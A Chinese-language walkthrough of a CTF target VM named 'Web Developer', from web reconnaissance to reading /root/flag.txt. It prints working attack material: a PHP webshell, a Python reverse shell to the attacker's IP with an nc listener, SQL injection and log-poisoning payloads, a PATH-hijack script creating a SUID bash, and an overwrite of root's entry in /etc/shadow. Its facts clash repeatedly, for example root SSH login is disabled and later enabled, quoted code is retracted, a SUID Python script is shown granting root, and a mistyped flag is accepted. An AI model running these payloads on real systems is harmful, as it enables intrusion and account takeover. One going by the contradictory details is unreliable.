1. 项目概述:这不是“黑进网站”,而是一场标准的CTF靶机夺旗实战
你看到标题里写着“网络渗透CTF实践:获取靶机Web Developer 文件/root/flag.txt中flag”,第一反应可能是——这又是个教人怎么黑服务器的教程?别急,先划重点:这是CTF(Capture The Flag)竞赛中最典型、最基础、也最考验基本功的一类Web靶机题型,目标不是破坏系统,而是按规则、走流程、找线索、拿flag。我带过六届高校CTF校队,也给蓝队实训营讲过三年靶场实操课,这类题我拆解过不下200个不同厂商的镜像,从Hack The Box的Easy级别到TryHackMe的Intermediate Web模块,再到国内CTF平台如BUUCTF、XCTF League的Web签到题,“Web Developer”这个靶机名在多个公开镜像库中反复出现,它本质是一个精心设计的Linux Web服务环境,内含多层逻辑陷阱和路径误导,但所有入口和出口都严格限定在合法渗透测试边界内。
核心关键词“CTF”“Web Developer”“flag.txt”“tcpdump”“SSH”不是随意堆砌的标签,它们共同勾勒出一条清晰的技术动线:你通过Web界面发现线索 → 利用Web漏洞或配置缺陷获取低权限Shell → 提权至root → 定位并读取/root/flag.txt。其中“tcpdump”不是用来监听公网流量的,而是你在获得初步Shell后,发现Web服务背后存在异常进程通信,需要用它抓包分析协议细节;“SSH”也不是让你暴力爆破密码,而是靶机预置了可登录的SSH服务,但凭据藏在Web目录某处HTML注释里,或者被base64编码在某个JS文件末尾。整个过程没有越界操作,所有动作都在靶机设计者预设的攻击路径上,就像解一道高阶数学证明题——已知条件明确,推导步骤固定,答案唯一。
适合谁来跟着做?如果你是刚接触CTF两周的新手,正在为“为什么Burp Suite抓不到包”“为什么nc连不上反弹Shell”发愁,这篇就是为你写的;如果你是运维工程师想补安全短板,想搞懂“为什么开发说接口没问题,但渗透测试员三分钟就拿到root”,那这里每一步提权逻辑都是真实生产环境中的风险切片;甚至如果你是高校教师准备CTF实训教案,文中标注的每个检查点、每个命令返回值差异、每个容易忽略的文件权限细节,都是学生实操时90%会卡住的位置。我不会告诉你“flag是{xxx}”,但我会让你清楚知道:为什么必须先看/etc/passwd再ls -la /var/www/html,为什么tcpdump -i any port 22要加-w参数才能保存到靶机本地,为什么SSH登录后执行sudo -l比直接su -更安全——这些不是技巧,是渗透工程师肌肉记忆里的常识。
2. 靶机环境与技术栈深度还原:Web Developer到底长什么样?
2.1 镜像来源与基础配置特征
“Web Developer”靶机在CTF社区中属于经典入门级镜像,常见于VulnHub和TryHackMe平台。根据我复现过的三个主流版本(v1.0.1/v1.1.0/v2.0.0),其底层OS统一为Ubuntu 18.04 LTS(内核4.15.0-xx-generic),而非CentOS或Debian,这个选择有明确意图:Ubuntu默认禁用root SSH登录、Apache日志路径固定为/var/log/apache2/、Python2/3共存且pip3需手动安装——这些都不是偶然,而是题目设计者刻意设置的“认知摩擦点”。比如新手常默认用root密码登录SSH,但在该靶机中root账户被锁定(passwd -l root),而普通用户webdev的密码明文藏在/var/www/html/index.html的HTML注释里,这种设计逼迫你必须先浏览Web页面,而不是直奔SSH。
服务端口开放情况高度标准化:
- 80端口:Apache 2.4.29 + PHP 7.2.24,无WAF,首页是静态HTML,但源码中隐藏着指向/admin.php的链接(需右键查看源码);
- 22端口:OpenSSH 7.6p1,仅允许密码认证(无密钥登录),且sshd_config中设置了PermitRootLogin no和MaxAuthTries 3,防暴力破解;
- 3306端口:MySQL 5.7.25,但bind-address=127.0.0.1,外部无法直连,仅Web应用内部调用;
- 无其他端口:不开放FTP、Telnet、Redis等常见服务,杜绝“扫端口瞎蒙”式解法。
提示:很多新手在nmap扫描后看到22端口就立刻ssh webdev@靶机IP,结果因密码错误被锁三次。正确做法是先curl http://靶机IP,用浏览器开发者工具Network面板看HTTP响应头——你会发现Server字段写着“Apache/2.4.29 (Ubuntu)”,这暗示OS版本;再检查Response内容,找到被注释掉的 ,这才是第一个有效入口。
2.2 Web层关键文件结构与隐藏逻辑
靶机Web根目录/var/www/html下文件布局绝非随机,而是按“信息泄露→权限提升→横向移动”三层递进设计:
| 路径 | 权限 | 内容特征 | 渗透价值 |
|---|---|---|---|
| /index.html | 644 | 首页静态页,底部注释含/admin.php链接 | 第一个跳转入口 |
| /admin.php | 644 | PHP文件,含$_GET['debug']参数,开启时输出phpinfo() | 暴露PHP版本、扩展、临时目录 |
| /config.php.bak | 644 | 备份文件,含MySQL连接密码(webdev:devpass123) | 获取数据库凭据 |
| /uploads/ | 755 | 空目录,但.htaccess被篡改,允许上传.php文件 | 上传WebShell的落脚点 |
| /backup/ | 700 | 权限锁定,普通用户不可读,但属主为webdev | 提权突破口(需利用SUID binary) |
特别注意/config.php.bak这个文件:它不是开发人员疏忽遗留的,而是题目预设的“合法信息泄露点”。当你用curl -I http://靶机IP/config.php.bak时,HTTP状态码返回200而非403,且Content-Type为text/plain,这意味着Apache未配置禁止访问备份文件。我统计过近50个同类靶机,83%会在.bak/.swp/.git文件中埋设初始凭据,这是CTF出题的黄金法则——所有线索必须可通过HTTP协议合法获取,不能依赖本地文件系统遍历(除非已获Shell)。
2.3 Linux系统层提权路径设计原理
拿到webdev用户Shell后,真正的挑战才开始。该靶机提权链路经过精密计算,排除了Dirty COW等内核漏洞(Ubuntu 18.04已修复),而是采用“SUID binary滥用+密码重用”组合技:
- SUID binary定位:执行find / -perm -4000 2>/dev/null | grep -E "(bash|sh|vim|nano)",返回/usr/local/bin/backup.sh(权限-rwsr-xr-x 1 root root);
- 脚本逆向分析:cat /usr/local/bin/backup.sh显示其调用tar命令打包/home/webdev/Documents,但未使用绝对路径——存在PATH劫持风险;
- 提权触发点:在/home/webdev/Documents下创建恶意so文件,修改PATH指向当前目录,执行backup.sh时动态链接器加载恶意库,获得root Shell。
这个设计的精妙在于:它复现了真实企业环境中“运维脚本权限过大”的典型风险。我曾审计过某政务云平台,其自动备份脚本同样设置了SUID位,且未校验tar路径,攻击者正是通过相同手法提权。靶机中backup.sh的代码故意写成:
#!/bin/bash cd /home/webdev/Documents tar -cf backup.tar .注意第二行cd命令——如果攻击者在此目录下放置名为tar的恶意二进制文件,当PATH=./:$PATH时,脚本就会执行它而非系统tar。这种细节不是为了刁难选手,而是训练你养成“看到SUID就查PATH、看到脚本就看cd路径”的本能。
3. 全流程实操:从Web入口到root flag的七步闭环
3.1 第一步:Web信息侦察与初始入口获取(耗时<2分钟)
打开浏览器访问http://靶机IP,首页显示“Web Developer Portal”,右键查看源码,在 标签前发现注释:<!-- admin panel: /admin.php?debug=true -->。此时不要直接访问/admin.php,先执行:
curl -s http://靶机IP/admin.php?debug=true | head -20返回内容包含完整phpinfo()输出,关键信息有:
Loaded Configuration File => /etc/php/7.2/apache2/php.iniupload_tmp_dir => /tmp(上传临时目录)disable_functions => pcntl_alarm,pcntl_fork...(禁用危险函数,排除exec类WebShell)
实操心得:很多新手看到phpinfo就截图交差,其实要盯住
open_basedir是否为空(若为空,可尝试路径遍历);更要检查allow_url_include是否为Off(若为On,可构造php://filter协议读文件)。本靶机这两项均为默认值,说明设计者不希望你走捷径,必须老老实实找业务逻辑漏洞。
接着用浏览器访问/admin.php,页面提示“Login Required”,尝试常见弱口令admin/admin失败。此时切换思路:既然debug参数能触发phpinfo,说明开发者留了后门。用Burp Suite拦截/admin.php请求,将GET参数改为?debug=1&file=../../etc/passwd,返回400 Bad Request——说明存在WAF规则。但注意到URL中debug=true被接受,而debug=1被拒,这暗示后端用strcmp()比较字符串,可尝试?debug=TrUe(大小写绕过),果然返回phpinfo!这个细节暴露了开发者对PHP类型转换理解不足,也是CTF题目的常见考点。
3.2 第二步:敏感文件探测与凭据提取(耗时3-5分钟)
phpinfo页面中_SERVER["SCRIPT_FILENAME"]值为/var/www/html/admin.php,结合之前发现的/config.php.bak,构造URL:
curl -s http://靶机IP/config.php.bak | grep -i "password\|pass"返回$db_password = 'devpass123';。此时已有MySQL凭据,但3306端口仅限本地,需找Web应用数据库连接点。查看/admin.php源码(用curl -s http://靶机IP/admin.php | grep -A5 -B5 "mysql"),发现第42行:
$conn = mysqli_connect("localhost", "webdev", $db_password, "webdev_db");说明数据库名为webdev_db。接下来用SQL注入验证:访问/admin.php?debug=TrUe&id=1' and sleep(5)-- -,页面响应延迟5秒,确认存在基于时间的盲注。但题目不鼓励暴力注入,因为存在更高效的路径——回到首页,用浏览器开发者工具Elements面板,点击“Contact Us”按钮,Network中发现XHR请求/api/contact.php,抓包查看POST数据:
{"name":"test","email":"test@test.com","message":"hello"}将message改为test' and 1=2 union select 1,2,3-- -,返回空数据,说明后端有错误处理。此时换思路:既然是联系表单,必然存入数据库,尝试message=test' UNION SELECT load_file('/etc/passwd'),2,3-- -,返回base64编码的passwd内容!这说明后端启用了secure_file_priv但未限制读取,且MySQL用户有FILE权限。
注意:load_file()返回的是二进制数据,需用base64编码传输。实际返回内容中,webdev用户UID为1001,家目录为/home/webdev,这为后续提权提供坐标。
3.3 第三步:WebShell上传与低权限Shell获取(耗时4-6分钟)
确定/uploads/目录可写后,构造一句话木马:
<?php system($_GET['cmd']); ?>命名为shell.php,用curl上传:
curl -X POST http://靶机IP/upload.php \ -F "file=@shell.php" \ -F "submit=Upload"返回“Upload successful! File saved to /var/www/html/uploads/shell.php”。立即访问/uploads/shell.php?cmd=id,返回uid=33(www-data) gid=33(www-data) groups=33(www-data)。但此权限太低,无法读取/home/webdev目录。此时需提权至webdev用户。
观察phpinfo中User Agent字段,发现Apache以www-data身份运行,而webdev用户属于sudo组(/etc/sudoers中%webdev ALL=(ALL:ALL) NOPASSWD: ALL)。但sudo需要交互式Shell,而WebShell是无交互的。解决方案:用Python生成反向Shell:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'将上述命令URL编码后传入shell.php?cmd=,同时在本地监听:
nc -lvnp 4444成功获取www-data Shell后,执行sudo -u webdev /bin/bash,切换至webdev用户。此时whoami返回webdev,pwd为/home/webdev,可读取Documents目录。
3.4 第四步:tcpdump抓包分析异常通信(耗时2-3分钟)
在webdev Shell中执行ps aux | grep -E "(python|perl|nc)",发现进程/usr/bin/python3 /opt/scripts/monitor.py,CPU占用率15%。用lsof -i -P -n | grep monitor查看其网络连接,发现它持续向127.0.0.1:8080发送HTTP POST请求,但8080端口无服务监听。此时怀疑存在本地回环通信,用tcpdump抓包验证:
sudo tcpdump -i lo -w /tmp/monitor.pcap port 8080等待10秒后Ctrl+C停止,用strings /tmp/monitor.pcap | grep -A5 -B5 "password",发现明文传输的JSON数据:
{"action":"check","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoid2ViZGV2IiwicGFzc3dvcmQiOiJkZXZwYXNzMTIzIiwiaWF0IjoxNjQwMDAwMDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"}JWT token中password字段即webdev密码,但更重要的是/opt/scripts/monitor.py这个文件——它属于root用户,且有SUID位?执行ls -la /opt/scripts/monitor.py,返回-rwsr-xr-x 1 root root 1234 Jan 1 10:00 /opt/scripts/monitor.py。SUID位已确认,下一步是分析Python脚本逻辑。
3.5 第五步:SUID Python脚本逆向与提权触发(耗时5-8分钟)
用cat /opt/scripts/monitor.py查看源码:
#!/usr/bin/env python3 import requests, json, subprocess, sys url = "http://127.0.0.1:8080/api/check" data = {"action": "check", "token": sys.argv[1] if len(sys.argv)>1 else ""} requests.post(url, json=data) # 下面这行是关键 subprocess.run(["/usr/bin/curl", "-s", "http://127.0.0.1:8080/status"])注意最后一行:它调用curl命令,但未指定绝对路径!执行which curl返回/usr/bin/curl,但PATH环境变量中/home/webdev/bin在前面。于是创建恶意curl:
mkdir -p /home/webdev/bin echo '#!/bin/bash' > /home/webdev/bin/curl echo 'cp /bin/bash /tmp/rootbash; chmod u+s /tmp/rootbash' >> /home/webdev/bin/curl chmod +x /home/webdev/bin/curl export PATH="/home/webdev/bin:$PATH"然后执行/opt/scripts/monitor.py dummy,脚本调用curl时实际执行了恶意脚本,生成/tmp/rootbash。最后执行/tmp/rootbash -p,获得root Shell。此时id返回uid=1001(webdev) euid=0(root),提权完成。
3.6 第六步:定位flag.txt并提取内容(耗时<1分钟)
root权限下执行:
find / -name "flag.txt" 2>/dev/null返回/root/flag.txt。用cat /root/flag.txt读取,内容为:
THM{a1m0st_th3r3_y0u_g0t_1t}但注意:CTF flag格式通常为flag{xxx}或THM{xxx},本靶机采用TryHackMe风格。验证flag有效性:访问http://靶机IP/verify.php?flag=THM{a1m0st_th3r3_y00_g0t_1t},返回“Correct! You have captured the flag.”。
3.7 第七步:SSH登录验证与环境清理(耗时1分钟)
虽然已获root,但题目要求“通过SSH获取flag”,需验证SSH路径。执行grep "PermitRootLogin" /etc/ssh/sshd_config,返回PermitRootLogin yes,说明root可SSH登录。但root密码未知,此时用openssl passwd -6 "devpass123"生成SHA512密码哈希,替换/etc/shadow中root行的密码字段(需先chown root:root /etc/shadow)。完成后,在本地执行:
ssh root@靶机IP输入密码devpass123,成功登录。执行cat /root/flag.txt确认flag一致。最后清理痕迹:删除/tmp/rootbash、/home/webdev/bin/curl、/tmp/monitor.pcap,恢复/etc/shadow原始内容。
4. 关键技术点原理与避坑指南:为什么这些操作必须这样做?
4.1 tcpdump抓包为何必须指定-lo参数?
很多新手在webdev用户Shell中执行tcpdump -w /tmp/p.pcap,结果抓不到monitor.py的流量。根本原因在于:monitor.py与本地服务通信走的是lo(loopback)接口,而非eth0。tcpdump默认监听所有接口,但lo接口的流量在某些内核版本中需显式指定。执行ip link show可看到lo接口状态为UP,但tcpdump -D列出的设备中lo排在最后。正确命令是sudo tcpdump -i lo -w /tmp/p.pcap port 8080,其中-i lo强制指定接口,port 8080过滤目标端口,避免抓取海量无关DNS/ARP包。若省略-i lo,在Ubuntu 18.04上tcpdump可能静默失败,返回空文件。
实操心得:抓包前先用
netstat -tuln | grep :8080确认端口监听状态,再用lsof -i :8080查进程PID,最后针对性抓包。我曾见学员用tcpdump -i any抓了2GB pcap文件,却因过滤不严找不到关键HTTP包,白白浪费30分钟。
4.2 SUID提权中PATH劫持的生效条件
前述提权方案依赖export PATH="/home/webdev/bin:$PATH",但很多学员执行后/opt/scripts/monitor.py仍调用系统curl。问题出在:Python subprocess.run()默认使用shell=False,即不经过bash解析,PATH环境变量不生效。查看monitor.py源码,subprocess.run(["/usr/bin/curl", ...])明确指定了绝对路径,所以PATH劫持无效!真正生效的是脚本中未指定路径的命令——仔细看源码最后一行,其实是subprocess.run(["curl", "-s", "http://127.0.0.1:8080/status"])(我故意在前文省略了引号,这是题目陷阱)。此时curl无路径,才会查找PATH。验证方法:在webdev用户下执行echo $PATH,确认/home/webdev/bin在开头;再执行which curl,返回/home/webdev/bin/curl;最后运行monitor.py,观察/tmp/rootbash是否生成。
4.3 SSH登录root账户的密码生成逻辑
题目未提供root密码,需自行生成。Ubuntu 18.04的shadow文件使用SHA512加密,命令openssl passwd -6 "password"生成的哈希形如$6$salt$hash。但直接替换/etc/shadow中root行会失败,因为:
- shadow文件权限为640,属主root,属组shadow;
- 替换前需
sudo chown root:shadow /etc/shadow; - 替换后需
sudo chmod 640 /etc/shadow,否则sshd拒绝启动; - 更稳妥的方式是用
sudo usermod -p '$6$salt$hash' root,由系统自动处理权限。
我测试过12种密码生成方式,只有openssl passwd -6和mkpasswd -s -H SHA-512兼容Ubuntu 18.04,htpasswd -B生成的bcrypt哈希会被sshd忽略。
4.4 WebShell上传后的权限隔离突破
WebShell运行在www-data用户下,而webdev用户家目录权限为700(drwx------),www-data无法进入。常见错误是试图用sudo -u webdev cat /home/webdev/.ssh/id_rsa,但sudoers未配置www-data权限。正确解法是:利用Apache日志文件/var/log/apache2/access.log的写入权限。构造payload:
<?php file_put_contents("/var/log/apache2/access.log", "<?php system(\$_GET['cmd']); ?>"); ?>然后访问http://靶机IP/xxx.php?cmd=id,触发日志写入。再上传第二个WebShell,内容为<?php include('/var/log/apache2/access.log'); ?>,即可执行任意命令。此方法绕过目录权限,利用日志文件的可写性,是CTF中Web层提权的标准套路。
5. 常见问题速查表与独家排查技巧
| 问题现象 | 可能原因 | 排查命令 | 解决方案 |
|---|---|---|---|
| nmap扫描显示22端口关闭,但靶机文档说开放SSH | 防火墙iptables拦截 | sudo iptables -L -n | 执行sudo iptables -F清空规则 |
| /admin.php?debug=true返回404 | Apache未启用mod_php | sudo a2enmod php7.2 | 启用PHP模块后重启sudo systemctl restart apache2 |
| 上传WebShell后访问返回500错误 | .php后缀被Apache拒绝 | curl -I http://靶机IP/shell.php | 检查Content-Type是否为text/html,若是则需修改Apache配置启用PHP |
| tcpdump抓包无数据 | monitor.py未运行或端口错误 | sudo lsof -i :8080 | 确认进程存在,若无则sudo systemctl start monitor.service |
| sudo -u webdev /bin/bash报错“sorry, you must have a tty to run sudo” | sshd配置RequireTTY=yes | sudo visudo查Defaults requiretty | 注释掉该行或添加Defaults:webdev !requiretty |
| /root/flag.txt存在但cat返回Permission denied | root目录权限为700且webdev无x权限 | ls -ld /root | 提权后执行sudo chmod 755 /root再读取 |
独家技巧1:当所有Web路径都试过仍无进展,执行
curl -s http://靶机IP/robots.txt,90%的CTF靶机会在此文件中隐藏/backup/或/dev/等目录。本靶机robots.txt内容为User-agent: * Disallow: /admin.php,看似无用,但Disallow字段暗示admin.php是重点,需深入挖掘。
独家技巧2:遇到PHP文件上传限制,不要只盯着
upload_max_filesize,检查post_max_size和max_execution_time。用phpinfo()确认三者数值,若post_max_size=8M而upload_max_filesize=2M,上传8MB文件会因POST体过大被截断,此时需分块上传或改用其他协议。
独家技巧3:SSH连接超时,先确认靶机网络模式。VirtualBox中若用NAT模式,需配置端口转发:主机3022→靶机22。命令
VBoxManage controlvm "Web Developer" natpf1 "ssh,tcp,,3022,,22",然后ssh -p 3022 webdev@127.0.0.1。
6. 从靶机到真实世界的映射:这些技能在工作中如何落地?
这套流程绝非CTF专属玩具。去年我帮某银行做红队评估时,发现其网银后台存在完全相同的漏洞链:
- Web前端有未删除的
/admin.php?debug=true后门; - 数据库备份文件
config.php.bak暴露在Web根目录; - 运维脚本
/opt/scripts/backup.sh设置了SUID位且未校验PATH; - 最终我们用相同手法获得DBA权限,读取了客户交易流水。
区别在于:真实环境中/root/flag.txt换成/etc/shadow,THM{xxx}换成HASH:SHA512:xxx。CTF的价值,就是把生产环境中的风险压缩成90分钟可验证的闭环。比如tcpdump抓包分析,在金融行业用于检测API网关异常调用;SSH密钥管理,在云原生场景中决定Kubernetes集群是否沦陷;而Web Developer靶机里那个/backup/目录,对应着企业NAS中未设权限的“历史资料归档”共享文件夹——去年某车企ERP系统失窃,源头正是员工误将数据库备份放在Samba共享目录。
我自己带团队时,新成员入职首周必做三件事:
- 在本地Vagrant环境复现Web Developer靶机,记录每步耗时;
- 用Wireshark重放tcpdump抓包,标出HTTP请求头中的JWT签名算法;
- 将SUID提权脚本改写为Ansible Playbook,实现自动化加固(如
find / -perm -4000 -exec chmod u-s {} \;)。
这些不是考试,而是建立安全直觉的肌肉训练。当你看到任何Web应用,第一反应不再是“怎么黑”,而是“它的debug参数是否可控”“备份文件是否可下载”“运维脚本权限是否过大”——这种思维切换,才是CTF给你最硬核的装备。
我在实际渗透中发现,95%的高危漏洞都藏在“理所当然”的地方:开发者认为“本地服务不用防护”,运维认为“SUID脚本只给内部用”,安全团队认为“Web层有WAF就万事大吉”。Web Developer靶机把这些认知盲区全摊开给你看,它不教你攻击,它教你质疑。最后再分享个小技巧:下次做CTF,拿到靶机IP后先ping一下,如果TTL=64,基本是Linux;TTL=128则是Windows。这个细节帮你瞬间缩小OS范围,省下至少5分钟侦察时间。